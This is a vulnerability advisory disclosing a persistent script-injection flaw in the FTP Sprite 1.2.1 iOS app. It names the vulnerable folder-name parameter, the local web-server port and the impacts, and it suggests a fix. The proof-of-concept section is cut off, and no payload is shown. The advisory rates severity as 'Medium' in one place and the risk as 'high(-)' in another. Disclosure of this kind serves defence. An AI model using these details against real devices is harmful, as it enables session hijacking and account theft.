Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities
in the FTP Sprite 1.2.1 application (Apple iOS - iPad & iPhone).
Report-Timeline:
================
2013-07-12: Public Disclosure (Vulnerability Laboratory)
Status:
========
Published
Affected Products:
==================
Apple AppStore
Product: FTP Sprite - Application 1.2.1
Exploitation-Technique:
=======================
Remote
Severity:
=========
Medium
Details:
========
A persistent input validation web vulnerability is detected in the FTP Sprite
1.2.1 application (Apple iOS - iPad & iPhone).
The bug allows an attacker (remote) to implement/inject malicious script code
on the application side (persistent) of the app.
The vulnerability is located in the index file dir listing module of the
web-server (http://localhost:41495) when processing to
display via POST request method injected manipulated `folder names`. The
persistent script code will be executed in the main
index file dir listing module when the service lists the new malicious injected
foldername as item.
Exploitation of the persistent web vulnerability requires low or medium user
interaction without application user account.
Successful exploitation of the vulnerability can lead to persistent session
hijacking (customers), account steal via persistent
web attacks, persistent phishing or stable (persistent) certificate mail
notification context manipulation.
Vulnerable Application(s):
[+] FTP Sprite v1.2.1 - ITunes or AppStore
(Apple)
Vulnerable Module(s):
[+] Add Folder
Vulnerable Parameter(s):
[+] foldername
Affected Module(s):
[+] Index Folder Listing
Proof of Concept:
=================
The persistent input validation web vulnerability can be exploited by remote
attackers without privilege application user account and
with low user interaction. For demonstration or reproduce ...

Solution:
=========
To fix the vulnerability parse the add folder name input field and restrict it
but also cleanup the affected listing module with the output.
Risk:
=====
The security risk of the persistent input validation web vulnerability is
estimated as high(-).
